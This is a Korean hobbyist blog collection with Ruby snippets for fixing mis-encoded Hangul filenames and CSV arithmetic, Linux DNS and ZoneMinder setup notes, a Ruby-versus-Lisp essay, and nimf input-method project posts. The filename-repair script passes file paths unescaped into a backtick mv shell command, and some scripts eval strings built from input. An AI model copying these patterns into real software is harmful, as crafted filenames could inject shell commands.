사용자 컴퓨터 환경이 utf-8 환경이라면 그 파일 이름 자체가 utf-8 이기 때문에 iconv, convmv 로도 복구가 안 된다.
이럴 경우 아래처럼 하면 복구가 된다.
cp949(uhc)와 euc-kr 은 서로 다른 코드이다. euc-kr ⊂ cp949 이다. cp949는 euc-kr을 확장한 코드이다.

# coding: utf-8
# irb 에서 다음을 입력하면 한글이 정상적으로 표시되는 것을 알 수 있다.
"ÇÁ·Î±×·¡¹Ö¾ð¾î·Ð".unpack("U*").pack("C*").force_encoding("euc-kr").encode("utf-8") #=> "프로그래밍언어론"

"ÇÁ·Î±×·¡¹Ö¾ð¾î·Ð".unpack("U*").pack("C*").force_encoding("cp949").encode("utf-8") #=> "프로그래밍언어론"

# 아래 함수(또는 메소드)를 이용하여 프로그램을 작성하면 된다.
def repair_cp949 utf8
    utf8.unpack("U*").pack("C*").force_encoding("cp949").encode("utf-8")
end

repair_cp949 "ÇÁ·Î±×·¡¹Ö¾ð¾î·Ð" #=> "프로그래밍언어론"



cp949 코드가 URL 인코딩된 상태로 다운로드된 경우


URL 인코딩된 파일 이름으로 다운로드되는 경우도 많다.
%B9%AB%B7%E1%C0%DA%B7%E14--SRS--%B5%B6%C7%D8%BA%F1%B9%FD(%B4%DC%B6%F4%B1%B8%C1%B6)%C0%E5%B9%AE%B5%B6%C7%D8.doc 이런 파일 이름이 URL 인코딩된 파일 이름이다.

참고 링크: http://en.wikipedia.org/wiki/Percent-encoding

이러한 파일 이름을 복구해보자.

irb를 열고 다음처럼 입력해본다.

irb(main):001:0> require 'uri'
=> true
irb(main):002:0> URI.unescape("%B9%AB%B7%E1%C0%DA%B7%E14--SRS--%B5%B6%C7%D8%BA%F1%B9%FD(%B4%DC%B6%F4%B1%B8%C1%B6)%C0%E5%B9%AE%B5%B6%C7%D8").unpack("C*").pack("U*")
=> "¹«·áÀÚ·á4--SRS--µ¶Çغñ¹ý(´Ü¶ô±¸Á¶)Àå¹®µ¶ÇØ"


위에서 설명한 ÇÁ·Î±×·¡¹Ö¾ð¾î·Ð 이러한 형태의 문자열이 출력되었다. 아래처럼 하면 사람이 알아볼 수 있는 정상적인 utf-8 문자열이 출력된다.

irb(main):026:0> URI.unescape("%B9%AB%B7%E1%C0%DA%B7%E14--SRS--%B5%B6%C7%D8%BA%F1%B9%FD(%B4%DC%B6%F4%B1%B8%C1%B6)%C0%E5%B9%AE%B5%B6%C7%D8").force_encoding("cp949").encode("utf-8")
=> "무료자료4--SRS--독해비법(단락구조)장문독해"


URL 인코딩된 깨진 한글 파일 이름을 고치는 메소드를 만들어보자.

require 'uri'

def repair_url_encoded_cp949 url_encoded_string
    URI.unescape(url_encoded_string).force_encoding("cp949").encode("utf-8")
end

repair_url_encoded_cp949 "%B9%AB%B7%E1%C0%DA%B7%E14--SRS--%B5%B6%C7%D8%BA%F1%B9%FD(%B4%DC%B6%F4%B1%B8%C1%B6)%C0%E5%B9%AE%B5%B6%C7%D8"
    #=> "무료자료4--SRS--독해비법(단락구조)장문독해"


아래는 def repair_cp949(utf8) 를 활용한 디렉토리 내의 파일 이름을 고치는 소스이다.

# coding: utf-8
require 'iconv'
require 'find'

def repair_cp949 utf8
    utf8.unpack("U*").pack("C*").force_encoding("cp949").encode("utf-8")
end

Find.find(".") do |path|
    if File.file? path
        path2 = repair_cp949(path)
        `mv "#{path}" "#{path2}"` if path != path2
    end
end

파일의 각 라인을 더하는 예제 코드

2011년 1월 6일 목요일

파일 이름: data

1 2 3
4 5 6
7 8 9


루비 소스 파일 이름: test.rb

#!/usr/bin/ruby
# ruby 1.9.1 에서 테스트 했음
require 'csv'

if ARGV.length != 1
    puts "CSV file is required."
    exit
end

@sum = [0,0,0]

# col_sep 는 column separator
# 콤마로 바꾸기 위해서는 col_sep:","
csv = CSV.open(ARGV[0], "r", col_sep:" ")
csv.each do |row|
    @sum[0] += row[0].to_i
    @sum[1] += row[1].to_i
    @sum[2] += row[2].to_i
end

p @sum

결과

$ ruby test.rb data
[12, 15, 18]


csv 연산

공부할 겸 만들어봤습니다. 신버전입니다.

#!/usr/bin/ruby
# ruby 1.9.1 에서 테스트 했음

if (ARGV.length != 3) or
    ((ARGV[1] != '+') and (ARGV[1] != '-') and
    (ARGV[1] != '*') and (ARGV[1] != '/'))
    puts "Usage: $ ruby csv1 op csv2"
    puts "$ ruby csv1 + csv2"
    puts "$ ruby csv1 - csv2"
    puts "$ ruby csv1 \\* csv2"
    puts "$ ruby csv1 / csv2"
    exit
end

f1 = File.open(ARGV[0])
op = ARGV[1]
f2 = File.open(ARGV[2])

while(row1 = f1.gets and row2 = f2.gets)
    row1 = row1.split
    row2 = row2.split
    @sum = [0,0,0]
# %Q[....] 안에 있는 요거 ===> #{op} row2[0].to_i 주석문 아닙니다.
    cmd = %Q[
        @sum[0] = row1[0].to_f #{op} row2[0].to_i
        @sum[1] = row1[1].to_f #{op} row2[1].to_i
        @sum[2] = row1[2].to_f #{op} row2[2].to_i
    ]
    eval(cmd)
    puts "#{@sum[0]} #{@sum[1]} #{@sum[2]}"
end


결과

$ cat data1 data2
1 2 3
4 5 6
7 8 9
10 11 12
13 14 15
16 17 18
$ ruby test.rb data1 + data2
11.0 13.0 15.0
17.0 19.0 21.0
23.0 25.0 27.0
$ ruby test.rb data1 - data2
-9.0 -9.0 -9.0
-9.0 -9.0 -9.0
-9.0 -9.0 -9.0
$ ruby test.rb data1 \* data2
10.0 22.0 36.0
52.0 70.0 90.0
112.0 136.0 162.0
$ ruby test.rb data1 / data2
0.1 0.181818181818182 0.25
0.307692307692308 0.357142857142857 0.4
0.4375 0.470588235294118 0.5


또 다른 코드

#!/usr/bin/ruby
# ruby 1.9.1 에서 테스트 했음

# 할일 (TO DO)
# 우선 순위, 사칙 연산 파서
# for 문을 사용하여 column 을 현행 3에서 n 으로 확장할 것.
# 예외처리.

# SSV : Space Separated Value
class SSV
    def initialize(file)
        @f = File.open(file)
    end

    # op 연산자, operand 피연산자
    def compute(op, operand)
        # if 를 수식자(modifier)로 사용하면 코드가 더 간결해질 수 있지만
        # 생각하기 귀찮아서 Copy & Paste 신공으로 처리
        if operand.class == SSV
            while(row1 = @f.gets and row2 = operand.gets)
                row1 = row1.split
                row2 = row2.split
                @sum = [0,0,0]

                cmd = %Q[
                    @sum[0] = row1[0].to_f #{op} row2[0].to_i
                    @sum[1] = row1[1].to_f #{op} row2[1].to_i
                    @sum[2] = row1[2].to_f #{op} row2[2].to_i
                ]
                eval(cmd)
                puts "#{@sum[0]} #{@sum[1]} #{@sum[2]}"
            end # end of while
        else
            while(row1 = @f.gets)
                row1 = row1.split
                @sum = [0,0,0]

                cmd = %Q[
                    @sum[0] = row1[0].to_f #{op} operand.to_f
                    @sum[1] = row1[1].to_f #{op} operand.to_f
                    @sum[2] = row1[2].to_f #{op} operand.to_f
                ]
                eval(cmd)
                puts "#{@sum[0]} #{@sum[1]} #{@sum[2]}"
            end # end of while
        end # end of if
    end # end of compute

    def gets
        @f.gets
    end
end

if __FILE__ == $0
    if (ARGV.length != 3) or
        ((ARGV[1] != '+') and (ARGV[1] != '-') and
        (ARGV[1] != '*') and (ARGV[1] != '/'))
        puts "Usage: $ ruby csv1 op csv2"
        puts "$ ruby csv1 + csv2"
        puts "$ ruby csv1 - csv2"
        puts "$ ruby csv1 \\* csv2"
        puts "$ ruby csv1 / csv2"
        puts "$ ruby csv1 + 88"
        puts "$ ruby csv1 - 12.1"
        puts "$ ruby csv1 \\* 5"
        puts "$ ruby csv1 / 9.1"
        exit
    end

    ssv1 = SSV.new(ARGV[0])
    op = ARGV[1]

    # 내공이 부족한 관계로
    # 파일 이름이 숫자로 시작하면 안 됨.
    # 숫자 뒤에는 영문자 등이 오면 안 됨.
    if ARGV[2] =~ /^[0-9]/
        ssv1.compute(op, ARGV[2])
    else
        ssv2 = SSV.new(ARGV[2])
        ssv1.compute(op, ssv2)
    end
end

터미널의 개념

2011년 1월 6일 목요일

과거....
메인컴퓨터
 터미널1
 터미널2
 터미널3
 ....


이런 식으로 연결이 되어 있는데,
예를 들자면 터미널은 모니터, 키보드 이렇게 구성되어 있습니다.
이러한 터미널들이 메인컴퓨터(IBM 같은 대형 컴퓨터 같은거)에 각각 전선(꼭 전선이 아니라도 되고요) 으로 연결되어 있고요.
현대....
우리가 일반적으로 사용하는 컴퓨터 환경은

PC 컴퓨터
 마우스1
 모니터1
 키보드1


입니다.
이거를 위에 메인컴퓨터에 연결된 하드웨어 터미널처럼 에뮬레이트해주는 건데,,
터미널 창 몇개 띄우고

$ ps aux # 해보면
user   8794  0.5  0.0  20900  3980 pts/0    Ss+  23:45   0:00 bash
user   8819  2.8  0.8 323984 34088 ?        Sl   23:45   0:01 gedit
user   8820  0.4  0.0  20900  3976 pts/1    Ss+  23:45   0:00 /bin/bash
user   8848  7.3  0.0  20892  3976 pts/2    Ss   23:46   0:00 bash
user   8871  0.0  0.0  16072  1124 pts/2    R+   23:46   0:00 ps aux


이런 식으로 나오고
거기에 pts/0, pts/1, pts/2 이런 게 터미널 번호라고 보시면 됩니다.
그래서 특정의 터미널에 메시지를 보낼 때,
터미널(에뮬레이터) 창 두개 띄우고
한 쪽에서는 이렇게 하면 pts/2 터미널에 메시지가 갑니다.

$ write user pts/2

터미널 pts/2 에서 이렇게 하면
pts/1 으로 메시지가 갑니다.

$ write user pts/1

이런 식으로 메시지를 보낼 수 있어요.
user은 각각 달라도 됩니다.

DNS 설정

2011년 4월 25일 월요일

ISP에서 DHCP로 자동으로 IP와 DNS를 받아오는데 ISP에서 받아온 DNS를 사용하지 않고 다른 DNS로 사용하기 위해서는 /etc/dhcp3/dhclient.conf 을 수정하면 된다.

파일을 열어보면

#prepend domain-name-servers 127.0.0.1;

이 부분이 있을 것이다.

#을 삭제하고 127.0.0.1 대신에 자신이 원하는 주소를 넣는다. 나는 구글에서 제공하는 8.8.8.8 을 사용할 것이다.

prepend domain-name-servers 8.8.8.8;

이렇게 하면 DNS 서버로 8.8.8.8 을 사용하게 된다.

ifdown, ifup 명령을 준 후에 nslookup 으로 도메인을 확인해보면 DNS 가 8.8.8.8 변경되었음을 알 수 있다.

root@debian:/etc/dhcp# ifdown eth0
...
root@debian:/etc/dhcp# ifup eth0

root@debian:/etc/dhcp# nslookup example.com
Server:         8.8.8.8
Address:        8.8.8.8#53

Non-authoritative answer:
Name:   example.com
Address: 192.0.32.10

구문분석기 racc

racc 는 yacc 의 루비 버전이다.

calc.y

# 연산자 - *
# - 가 * 보다 우선순위가 높다
# - 는 우결합성

class CalcParser
# 연산자 우선 순위
    prechigh
        right '-' # 우결합
        left  '*' # 좌결합
    preclow

rule
    target: exp
       | {result = 0} # result 는 val[0]
    exp: exp '-' exp { result -= val[2] }
       | exp '*' exp { result *= val[2] }
       | NUMBER
end

# header, inner, footer 은 파일에 그대로 추가되는 부분이다.
---- header
require 'English'
---- inner
def parse(str) # 스캐너를 사람이 만들어야 한다.
    @q = []
    until str.empty?
        case str
        when /\A\s+/
        when /\A\d+/
            @q.push [:NUMBER, Regexp.last_match[0].to_i] # 위에 터미널인 NUMBER 가 심볼로 되어 있다.
        when /\A.|\n/o
            s = Regexp.last_match[0]
            @q.push [s, s]
        end
        str = Regexp.last_match.post_match
    end
    @q.push [false, '$end']
    do_parse
end

def next_token
    @q.shift
end

---- footer
parser = CalcParser.new
puts
puts 'type "q" to quit.'
puts
while true
    puts
    print '? '
    str = gets.chop!
    break if /q/i =~ str
    begin
        puts "= #{parser.parse(str)}" # 위에 정의한 parse 메소드가 실행된다.
    rescue ParseError
        puts $ERROR_INFO
    end
end


$ racc calc.y
$ ruby1.9.1 calc.tab.rb


-가 *보다 우선순위가 높고 -를 우결합으로 해놓았기 때문에 이렇게 계산이 된다.

1-3-2*2 = (1-(3-2)) * 2 = 0
4-1*1-2 = (4-1) * (1-2) = -3
7-5*2 = (7-5)*2 = 4
2*4-5 = 2*(4-5) = -2

ruby lisp 비교

2011년 1월 6일 목요일

리스프는 함수형 언어입니다. 아래에 보듯 괄호 안의 가장 왼쪽 것이 함수입니다.
아래 아래 부분에 루비 소스에서 가장 왼쪽에 있는 토큰이 함수입니다.
그렇다고 해서 크게 힘든 건 하나도 없고 리스트에서 함수 만들듯이 하면 됩니다.
Glyph 클래스 내에 메소드 만들어 주고 block 을 받아서 instance_eval 해주면 됩니다.
리스프 예찬자들은 code as data, data as code 라고 예찬을 하는데,
그것이 아니라 list as data, data as list 라고 해야 옳습니다.
루비에서는 string as data, data as string 으로 또한 잘 됩니다. 가끔 리스프와 비교하여 단점이라고 하는 사람이 있는데 리스프에서 defmacro를 보면 code 가 아니라 list 로서 인자(argument)를 넘겨줍니다.
list 는 code의 부분 집합(subset)입니다.
리스프에서 코드를 데이터로 다룰려면 (quote (a b c)) 이런 식으로 써야 됩니다.
결국 루비에서 "(큰따옴표) 로 묶는 것이랑 별반 차이가 없습니다.
아래의 예제는 quote, " 를 사용한 예가 아니라 DSL 로서의 비교를 한 예입니다.

Glyph do
    name "L_BB"
    xMin 309
    yMin 827
    xMax 1743
    yMax 1542

    contour do
#       pt "x" => 1743, "y" => 827, "on" => 1
        pt 1092,827,1
        pt 1092,1542,1
        pt 1233,1542,1
        pt 1233,1288,1
        pt 1602,1288,1
        pt 1602,1542,1
        pt 1743,1542,1
    end # of contour

    contour do
        pt 961,827,1
        pt 309,827,1
        pt 309,1542,1
        pt 451,1542,1
        pt 451,1288,1
        pt 819,1288,1
        pt 819,1542,1
        pt 961,1542,1
    end # of contour
end # of glyph

(Glyph
    (name "L_BB")
    (xMin 309)
    (yMin 827)
    (xMax 1743)
    (yMax 1542)

    (contour
;       (pt "x" => 1743  "y" => 827  "on" => 1)
        (pt 1092 827 1)
        (pt 1092 1542 1)
        (pt 1233 1542 1)
        (pt 1233 1288 1)
        (pt 1602 1288 1)
        (pt 1602 1542 1)
        (pt 1743 1542 1)
    ) ; of contour

    (contour
        (pt 961 827 1)
        (pt 309 827 1)
        (pt 309 1542 1)
        (pt 451 1542 1)
        (pt 451 1288 1)
        (pt 819 1288 1)
        (pt 819 1542 1)
        (pt 961 1542 1)
    ) ; of contour
) ; of glyph

루비 리스프 비교

2011년 1월 6일 목요일

리스프 예찬자들은 code as data, data as code 라고 예찬을 하는데,
루비 또한 code as data, data as code 입니다.
이 말에 동의하지 않는다면,
리스프에서는 list as data, data as list 라고 해야할 것이고
루비에서는 string as data, data as string 라고 해야할 것입니다.
리스프에서 코드를 데이터로 다룰려면 (quote (a b c)) 이런 식으로 써야 됩니다.
즉, (리스트) 로 묶어서 리스트로 넘기는 것이지요.
결국 루비에서 "문자열" 로 묶어서 문자열로 넘기는 것이랑 별반 차이가 없습니다.
실제 코드를 작성해보면 "문자열"로 넘기는 것이 직관적이라서 에러 빈도가 줄어듭니다.
리스프에서 (리스트) 로 넘기는 것이 얼마나 헷갈리는지 리스프 책 한 번이라도 보면 압니다.
그리고, 리스프는 코드가 리스트 구조입니다.
하지만, 루비는 코드가 리스트 구조일 수도 있고 문법이 있는 또다른 구조일 수도 있습니다.
그런 점에서 차이가 나는 것이겠죠. 어느 것이 더 편한가에 대해서는 단연 루비가 압승입니다.
리스트 구조나 문법 구조 중에 쓰고 싶은 거 마음대로 쓰면 되니까요.
이런 점에서 루비는 리스프보다 더 유연하다고 표현력이 풍부하다고 할 수 있습니다.
저는 리스프 예찬자들이 주장하는, '생각을 코드로 표현하기 좋은 언어'가 리스프다는 말에는 절대 동의하지 않습니다. (+ 1 2) 이거보다는 (1 + 2) 가 더 직관적이죠. 조건절만 보아도 명확히 알 수 있습니다.
함수형 패러다임 1종류만 갖춘 언어는 컴퓨터가 이해하기 좋은 언어일지는 몰라도 사람이 이해하기에는 좋지 않은 언어일 수 있습니
다. 어떨 때는 함수형, 어떨 때는 자연어 형으로 코딩하는 것이 편안합니다.
자동차가 달리다가 정지하는 것을 코딩하면
* 리스프 방식
(정지한다 (달린다 자동차))
물론 인자의 순서를 의도적으로 바꾸어 줄 수는 있으나, 그렇게 하면 코드의 일관성이 떨어져 무척 헷갈리게 됩니다.
* 루비 방식
1 객체지향형: 자동차.달린다.정지한다
2 함수형: 정지한다 (달린다 자동차)
상황(생각)에 맞게 코드를 작성하기 좋은 언어는 리스프보다는 "루비"입니다.

데비안 리눅스에서 XV400PCI 카드를 사용하여 CCTV 감시

이 글은 2011년 4월 17일에 작성한 글입니다.
현 시점에서 작동되는지 작동되지 않는지 모릅니다.

XyView 라는 프로그램은 리눅스에서 돌아가지 않는다. 걱정마라.
우리는 zoneminder 라는 프로그램을 사용하면 된다.

XV400PCI 카드 설정


/etc/modprobe.d/bttv.conf 파일을 만들어준다.

debian:~$ cat /etc/modprobe.d/bttv.conf
options bttv gbuffers=32 card=77 tuner=4 radio=0 coring=1 full_luma_range=1 chroma_agc=1 combfilter=1 autoload=0 triton1=0 vsfx=0


이렇게 해야 S-Video 채널이 칼라로 나온다.

apach 설정


ln -s /etc/zm/apache.conf /etc/apache2/conf.d/zoneminder.conf
/etc/init.d/apache2 restart # apache 를 재시작


이제 이 주소 http://localhost/zm 로 접근할 수 있다.

zoneminder 설정


권한 설정


zoneminder 가 www-data 사용자로 실행이 되기 때문에 /etc/group 을 열어서 video 그룹에 www-data 사용자를 추가한다.

옵션 설정


웹 브라우저로 http://localhost/zm 을 연다
오른쪽 상단의 option 클릭
CONFIG 탭에서 V4L_MULTI_BUFFER 을 체크하지 않는다. 이렇게 해야 화면이 흔들리지 않는다.
CAPTURES_PER_FRAME 값을 2 이상으로 한다.

모니터 추가


다음처럼 추가한다.

Device Path: /dev/video0
Capture Method: Video For linux version2
Device Channel: 0~3
Device Format: NTSC
Capture Palette: BGR24
Capture Width (pixels): 320
Capture Height (pixels): 240


그리고나서 재시작 /etc/init.d/zoneminder restart 한다.
만약, 잘 안 된다면 그룹 권한이 적용되지 않아서 그럴 수 있으니 컴퓨터를 리부팅한다.

참고


modect: 움직임 감지시 이벤트 발생, 이벤트 기록, 움직임 감지시 녹화
mocord: 움직임 감지시 이벤트 발생, 이벤트 기록, 항상 녹화

2018년 7월 16일 월요일

꿈의 입력기 nimf 이야기 11화 - 홈페이지

nimf 홈페이지를 만들었습니다.
https://github.com/sylvaindurand/jekyll-multilingual 를 참고하여
다국어로 작동되도록 만들었습니다.

주소는 https://nimf-i18n.gitlab.io 입니다.

홈페이지 소스코드는

https://gitlab.com/nimf-i18n/nimf-i18n.gitlab.io

에 있습니다.

아직 내용이 많이 부족한데 함께 가꾸어간다는 관점으로 접근하셨으면 좋겠습니다.

2018년 7월 13일 금요일

꿈의 입력기 nimf 이야기 10화 - 희망찬 미래를 향하여

그룹 프로젝트로 이행하는데 프로젝트를 알리는 홈페이지 하나쯤은 있어야겠죠?
그래서 홈페이지를 제작 중입니다.
예전에 nimf 홈페이지를 만들어봤었는데, 다국어로 만들었더니 업데이트에 어려운 점이 많았습니다. 그래서 시간이 없기 때문에 이번에는 다국어로 제작하지 않고 jekyll 공식 홈페이지를 수정하여 사용하기로 했습니다.

안 좋은 일을 계속 겪다보니 제가 트라우마가 생겼습니다.
일부 사람들의 문제이긴 한데, 예전보다 많이 나아지긴 했습니다. 자신의 뜻대로 되지 않는다 하여 사람들이 많이 방문하는 공개된 게시판에 개발자를 욕(비난)하거나 욕보이는 글(음해)은 삼가시기 바랍니다.
자신의 뜻대로 하고 싶은 분들은 nimf 개발 및 유지보수 계약을 체결하시기 바랍니다.
nimf 개발 및 유지보수 계약에 대한 기본 조건은 다음과 같습니다.
유상으로 작성한 코드에 대한 저작권은 협의에 따라 개발자 또는 돈 주신 분이 소유합니다. 그리고 그 코드는 nimf 가 현재 채택하고 있는 오픈소스 라이선스로 공개됩니다.
귤이 회수를 건너면 탱자가 된다?

오픈소스는 자선 사업이나 종교가 아닙니다.
nimf 프로젝트는 현재 수익이 없는 프로젝트이며 사용자분들의 고객 센터가 아닙니다.

저도 표현의 자유가 있습니다.
과거에는 소극적으로 대응했는데 앞으로는 적극적으로 대응하겠습니다.

nimf 는 https://gitlab.com/nimf-i18n/nimf 에 자리를 잡았습니다.
github 와는 다르게 다양한 기능이 있으며 이 기능들을 활용할 것입니다.
언젠가 시간날 때 nimf 프로젝트 관련 규칙도 제정할 것입니다.

nimf 는 2018.07.09 부터 매우 견고해졌습니다.
이렇게 계속 유지 보수해간다고 할 때, 5년, 10년 후의 모습이 어떨지 궁금합니다.
여러분들,
nimf 프로젝트를 고객센터라고 여기지 말고,
nimf 를 함께 가꾸어간다는 생각으로 접근해주셨으면 좋겠습니다.
그리고 nimf 오류에 대한 버그 리포트는 언제든지 대환영입니다.

2018년 7월 12일 목요일

꿈의 입력기 nimf 이야기 9화 - 그룹 프로젝트로의 이행

개인 프로젝트 https://gitlab.com/hodong/nimf 에서
그룹(단체, 집단, 조직, 공동) 프로젝트로 이행하기 위해
이른 감이 있지만 https://gitlab.com/nimf-i18n 이라는 그룹을 만들고
저장소를 https://gitlab.com/nimf-i18n/nimf 으로 옮겼습니다.

nimf 프로젝트의 새 주소는

https://gitlab.com/nimf-i18n/nimf

입니다.

nimf 를 함께 가꾸어간다는 관점으로 접근하셨으면 좋겠습니다.

꿈의 입력기 nimf 이야기 8화 - 이슈 복구

github --> bitbucket --> gitlab 으로 호스팅을 바꾸면서 이슈 답글이 많이 날아갔는데, 모두 수작업으로 복구했습니다.

아래와 같은 루비 스크립트를 이용했습니다.

require 'json'
require 'pp'

file = open("db-1.0.json")
json = file.read

parsed = JSON.parse(json)

parsed["comments"].each do |comment|
  if(comment["issue"].eql? ARGV[0])
    puts "### "         + comment["user"] + "  "
    puts "created on " + comment["created_on"] + "  "
    puts "updated on " + comment["updated_on"] + "  "
    puts
    puts comment["content"].gsub(/\n/, "  \n")
    puts
    puts "---"
    puts
  end
end


그리고, github 이슈 백업 파일을 올려놓았으니 필요하신 분들은 아래 주소에서 다운받으시기 바랍니다.

https://gitlab.com/nimf-i18n/nimf/issues/114

2018년 7월 10일 화요일

감미로운 중국 노래 北斗星,屋顶

제목은 北斗星
각 한자의 중국 발음 다음과 같습니다.
北 베이 bei
斗 도우 dou
星 씽 xing
북두칠성이라는 뜻입니다.
北斗星 한번 들어보시죠
温岚 이라는 가수가 불렀는데 대만 가수입니다.
周杰伦 (조우 지에 룬, zhou jie lun)과 함께 부른 屋顶 (우딩, 지붕이라는 뜻) 이라는 노래는 굉장히 유명합니다.

2018년 7월 9일 월요일

꿈의 입력기 nimf 이야기 7화 - 오픈소스에 대한 착각

오픈소스 개발자라고 해서 상황이 다 같지는 않습니다.
어떤 사람은 레드햇, 구글, 인텔, 우분투, IBM 등의 회사로부터 돈(월급)받고 개발하여 오픈소스로 무상 배포합니다.
어떤 사람/단체는 기업으로부터 거액의 후원금 및 기부금을 받아서 개발하여 오픈소스로 무상 배포합니다.
우리가 흔히 접하는 유명한 오픈소스 프로젝트들이 사용자 개인들로부터 돈을 받지는 않지만,
개발자가 실제로는 유상 개발, 유상 유지보수를 하고 있는 것입니다.
기업, 개발자, 사용자간의 이익이 맞아 떨어져서 오픈소스가 유행하고 있는 것입니다.
기업 입장에서 개발자 고용해서 개발시키고 오픈소스로 무상으로 뿌리면 점유율 증가, 이미지 개선, 광고 효과, 광고 수익 증대, 자사 상품 매출 증대, 우수 개발자 고용 기회 증가, 자원 봉사자로 인한 인건비 감소 등으로 인하여 자사 수익이 증대되고 비용이 감소되는 효과가 있습니다.
그래서 오픈소스가 유행하는 것입니다.
오픈소스는 자선 사업이나 종교가 아닙니다.
저도 nimf 개발하면서 생활에 지장 없도록 월급이나 후원금이나 기부금 받으면 짜증이나 신경질 안 내고 즐겁고 행복한 마음으로 개발하고 유지보수할 수 있습니다.
사용자분들이 이거 해주세요, 저거 해주세요.. 그러면 그게 다 돈이니까 무척 행복하겠죠.
그러나 제 상황은 nimf를 개발하면 할수록, 사용자분들 요구 사항을 처리하면 할수록 누적 손실이 커집니다. 그래서 건당 수 만원에서 수십 만원의 손실 때문에 민감하게 반응하고 신경질을 내고 그랬던거죠.
여러분들 이슈 올리면 제가 그걸 처리하기 위해 잠을 안 잔다던가 주말 특근 근무를 빠집니다.
그러면 한 20만원 정도 손실 생기는거죠. 그렇게 하지 않으면 개발/유지 보수 시간 자체가 나오질 않습니다. 여러분들이 제 상황이라면 어떻게 하시겠습니까?
제가 이 얘기를 하는 이유는 돈 달라는 얘기도 아니고 이슈 올리지 말라는 얘기도 아닙니다.
간혹 제촉하시는 분도 있고 실망하시는 분도 있고 원망하시는 분도 계시는데 제 사정을 이해해 달라는 말씀입니다.
nimf 프로젝트는 타 프로젝트와는 다르게 생활비나 개발비 지원없이 개인 손실로 개발해왔고 그럼에도 불구하고 다른 입력기와 비교했을 때 버그가 거의 없고 가볍고 빠르고 정확하게 작동한다는 것입니다.
이 자체만으로 정말 대단한 겁니다. (또 자화자찬 ㅋㅋㅋ)
그리고 버그 리포트는 품질 개선에 매우 큰 도움이 되므로 대환영입니다.

응용 어플 끝글자 버그 잡는 거 진짜 개쉽습니다

그 동안 제가 끝글자 버그를 잡지 않고 방치한 이유 우선 책임, 의무가 없습니다. 제가 해당 어플 개발자도 아닐 뿐더러 오픈소스가 원래가 유지보수 의무, 보증 책임이 없습니다 . 이렇게 개떡 같은 게 오픈소스입니다. 전 과거 libhwp 하냐고...